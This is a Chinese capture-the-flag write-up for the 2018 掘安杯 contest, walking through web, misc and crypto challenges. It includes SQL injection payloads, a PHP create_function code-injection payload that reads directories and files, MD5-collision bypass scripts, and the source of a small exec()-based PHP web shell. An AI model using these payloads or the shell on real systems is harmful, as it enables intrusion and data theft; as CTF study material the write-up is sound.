2018掘安杯部分wp

0x01 前言

清明在家无事,看了下掘安杯,有几个题目还可以,题目大都师弟做的,题目都是后来回忆的,简单记录一下思路。
弱弱的说一声某两个web自己出的,已被群里人追打orz (逃了

0x02 WEB

2.1

bp抓包,解密得到flag

2.2

提供了一个下载文件的link,查看注释发现flag.php,下载flag.php:

<?php
header('Content-Type: text/html; charset=utf-8'); //网页编码
function encrypt($data, $key) {
    $key = md5 ( $key );
    $x = 0;
    $len = strlen ( $data );
    $l = strlen ( $key );
    for($i = 0; $i < $len; $i ++) {
        if ($x == $l) {
            $x = 0;
        }
        $char .= $key {$x};
        $x ++;
    }
    for($i = 0; $i < $len; $i ++) {
        $str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );
    }
    return base64_encode ( $str );
}

function decrypt($data, $key) {
    $key = md5 ( $key );
    $x = 0;
    $data = base64_decode ( $data );
    $len = strlen ( $data );
    $l = strlen ( $key );
    for($i = 0; $i < $len; $i ++) {
        if ($x == $l) {
            $x = 0;
        }
        $char .= substr ( $key, $x, 1 );
        $x ++;
    }
    for($i = 0; $i < $len; $i ++) {
        if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
            $str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
        } else {
            $str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
        }
    }
    return $str;
}

$key="MyCTF";
$flag="o6lziae0xtaqoqCtmWqcaZuZfrd5pbI=";//encrypt($flag,$key)
?>

直接用函数解密就可以了。

2.3

右键发现源码:

session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
    if ($_POST['pwd'] == $_SESSION['pwd'])
        die('Flag:'.$flag);
    else{
        print '<p>猜测错误.</p>';
        $_SESSION['pwd']=time().time();
    }
}

简单的代码,直接写个脚本就可以:

import requests

url = "http://120.79.1.69:8887/web3/"
s = requests.session()
data = {
    "pwd":""
}
res = s.post(url,data=data)
print (res.text)

其实直接点猜谜码也可以得到flag。

2.4

先御剑扫下目录,得到shell地址,然后bp爆破下密码,很快就得到密码:
38be6bd1808e36cabae6bc0116fe32f8.png

2.5

通过测试用户名处存在sql注入:

admin'%0aUNION%0aSELECT%0a1,2,3#

admin' UNION SELECT 1,group_concat(schema_name),3 from infORmation_schema.schemata#

admin'UNIONSELECT1,group_concat(table_name),3frominfORmation_schema.tableswheretable_schema='xiaowei'#

admin'UNIONSELECT1,group_concat(column_name),3frominfORmation_schema.columnswheretable_name='admin'#

admin'UNIONSELECTid,username,3fromadmin#

admin'UNIONSELECTid,password,3fromadmin#

通过注入得到账号密码然后写脚本快速计算提交验证码。
提取question计算的时候要注意下不可见字符。
得到源码:

Private Function getPassword(ByVal str As String) As String


    Dim reString As String
    
    Dim i As Integer
    i = 1
    
    
    While (i <= Len(str))
    
     reString = reString & Mid(str, i, 1)
     i = i + (i Mod 5)
    
    
    Wend
    

    getPassword = reString

End Function



Private Sub Command1_Click()

   Dim Dictionary As String
    
   Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="
   
   Dim password As String
   
   password = getPassword(Dictionary)


   Dim psw As String
   
   psw = Text1.Text
   

   If (psw = password) Then
   
    MsgBox "The password is correct!", vbOKOnly, "������ȷ"
    
    Text1.Text = "Password for next pass : " & getPassword(password)
       
   Else
   
    MsgBox "PasswordFail!", vbOKOnly, "�������"
    
      
   End If
   
      

End Sub

转化为python:

def getPassword(string):
    i = 1
    reString = ''
    while i <= len(string) :
        reString = reString + string[i-1]
        i = i + (i % 5)
    return reString

Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="

password = getPassword(Dictionary)
password = getPassword(password)
print(password)

得到图片后。strings一下就可以了。

2.6

这题出事了。。你懂的。
这题是参照p牛的代码审计模改的,首先看代码:

<?php
error_reporting(0);
if(isset($_GET['action'])) {
    $action = $_GET['action'];
}

if(isset($_GET['action'])){
    $arg = $_GET['arg'];
}

if(preg_match('/^[a-z0-9_]*$/isD', $action)){
    show_source(__FILE__);
} else {
    $action($arg,'');
}

修改了最后参数的位置,换个闭合方式就可以了。再来回顾下create_function()函数:

string create_function   ( string $args   , string $code   )

$args : 变量部分
$code : 方法代码部分

create_function('$fname','echo $fname."virtua1"')

类似于:

function v1($fname) {
  echo $fname."virtua1";}

前边的正则绕过利用的是php全局命名空间。通过fuzz %5c就可以绕过。
payload:

?action=%5ccreate_function&arg=){}phpinfo();//

接下来列目录读flag就可以了。

?action=%5ccreate_function&arg=){}var_dump(scandir("./"));//
?action=%5ccreate_function&arg=){}var_dump(file("./flagfilename"));//

2.7

一道代码审计的题目。代码:

<?php
highlight_file(__FILE__);
include('flag.php');
$str1 = @$_GET['str1'];
$str2 = @$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = (string)@$_POST['str5'];
$str6 = (string)@$_POST['str6'];
$str7 = (string)@$_POST['str7'];
if( $str1 == $str2 ){
    die('str1 OR Sstr2 no no no');
}
if( md5($str1) != md5($str2) ){
    die('step 1 fail');
}
if( $str3 == $str4 ){
    die('str3 OR str4 no no no');
}
if ( md5($str3) !== md5($str4)){
    die('step 2 fail');
}
if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){
    die('str5 OR str6 OR str7 no no no');
}
if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){
    die('step 3 fail');
}

if(!($_POST['a']) and !($_POST['b']))
{
    echo "come on!";
    die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];

if (!(ctype_upper($a)) || !(is_numeric($b)) || (strlen($b) > 6)) 
{
    echo "a OR b fail!";
    die();
}

if ((strlen($m) > 4) || (strlen($n) > 4)) 
{
    echo "m OR n fail";
    die();
}

$str8 = hash('md5', $a, false);
$str9 = strtr(hash('md5', $b, false), $m, $n);

echo "<p>str8 : $str8</p>";
echo "<p>str9 : $str9</p>";

if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
{
    echo "You're great,give you flag:";
    echo $flag;
}

考察的知识点有:
弱类型绕过,数组绕过,MD5强碰撞,然后还有个替换字符串的弱类型,比较简单。
MD5强碰撞可以用工具生成若干MD5相等的文件然后提交就可以,注意利用python提交的时候要利用open().read()这种方式
替换字符串然后弱类型相等只需要写个脚本找一下:
2f690c03ff3d0ffc5d2d9d8d840162c2.png
最终脚本:

import requests
url = "http://120.79.1.69:8887/web7/index.php?str1[]=1&str2[]=2&str3[]=3&str4[]=4&m=bcd&n=123"

str5 = open('./WEB/python-md5-collision/md5/out_test_001.txt','r').read()
str6 = open('./WEB/python-md5-collision/md5/out_test_002.txt','r').read()
str7 = open('./WEB/python-md5-collision/md5/out_test_003.txt','r').read()

data = {
    'str5':str5,
    'str6':str6,
    'str7':str7,
    'a':'QNKCDZO',
    'b':'259987'
}

res = requests.post(url=url,data=data)
print res.content

0x03 MISC&Crypto

3.1

公众号后台发送flag得到flag。

3.2

给了一串字符:

h^_o`[pZi^i`

并且提示flag格式 jactf{},又因为题目想到凯撒,应该是利用了某种移位,观察两端字符的前五个字符,分别ord一下找规律:

h    ^   _     o   `  
104 94 95 111 96

j      a   c    t    f
106 97 99 116 102

第一位:ord(j)=ord(h)+2
第二位:ord(a)=ord(^)+3
第三位:ord(c)=ord(_)+4
……依次类推
ord(p)=ord(c)+i+2
脚本:

c = "h^_o`[pZi^i`"
for i in range(len(c)):
    print(chr(ord(c[i])+i+2),end='')
 // jactfbxcsium

3.3

破解wifi密码。利用kali下的Aircrack-ng 工具破解,已知前几位手机号了,利用crunch 软件 生成所有可能情况的手机号,然后爆破。

3.4

一大段base,base58解密得到图片:
c956af25c2ff4b07aed17fccbc846add.png
然后base64转图片,得到二维码:
875b1c1dba7128b21be88c57450f3a8c.png
e7880a4ca2ee7727901e9e8253a72f32.png

3.5

真的不是图片。--开始用binwalk分析图片,发现图片里有压缩包,dd分离出来显示压缩包破坏,应该是修复压缩包。
winhex搜索1400,提取出后文件头补充504B0304,解压得到压缩包,解压提示有密码,直接爆破,字母数字爆破得到四位密码ja66得到大量txt文件,把txt内容串起来,得到:amFjdGZ7NjRzZTY0XzFzXzUwX2MwMDF9
解码得到flag。

3.6

提示了guess,应该是outguess工具解密,密码为guess
076c44c414e3f3641c45302edc294ec8.png

3.7

先是RSA解密:

c = 0
flag =[264032310, 4950637341, 4189137235, 3503675906, 1193272, 374530968, 5189281531, 2514200272, 4454305581, 641078597, 4395931659, 2716426599, 437539194, 3448013596, 307207209, 4750820606, 3250407993, 853905209, 2109791159, 2716426599, 2107899554, 4395931659, 2794384598, 2109791159, 5297779094, 1460874286, 1460874286, 794931679, 794931679, 5447051622, 853905209, 3198340218, 1193272, 1912323101, 5297779094, 307207209, 3231572608, 3198340218, 5189281531, 527889548, 4950637341, 2839366805, 1116457354, 527889548, 5297779094, 3250407993, 4454305581, 6510392, 3250407993, 1460874286, 1059035129, 3200359612, 853905209, 307207209, 156779101, 2145301328, 527889548, 1059035129, 5468025072, 3448013596, 2107899554, 4189137235, 3503675906, 2653436113]
for c in flag:
    d = 3960784897
    n = 5520780427
    m = pow(c,d,n)
    print (chr(m),end='')

得到后再des解密:
4da8c4e113acd7f3a80c4ac8748e9717.png

3.8

追踪流发现是菜刀cat flag.txt,文件被编码了,要做的就是找到编码的方式:
b54f4ea742ece59d9ffe78658954ad6b.png
shell的代码为:

<?php
$k = $_POST['k'];
$c = $_POST['c'];
$o = '';
if (md5($k) == '6d697064ad1b78f7e124df9807284f69') {
 exec($c, $o);
 $o = $o[0];
 echo base64_encode(gzcompress($o, 6));
}
?>

找到flag.txt解密即可:
7a8a24946da7b995e5a96979af672655.png

<?php
    $st = "eJxLy0lMrw6NTzPMS4n3TVWsBQAz4wXi";
    $st = gzuncompress(base64_decode($st));
    echo $st;
?>
// flag{U_f1nd_Me!}
1 + 5 =
快来做第一个评论的人吧~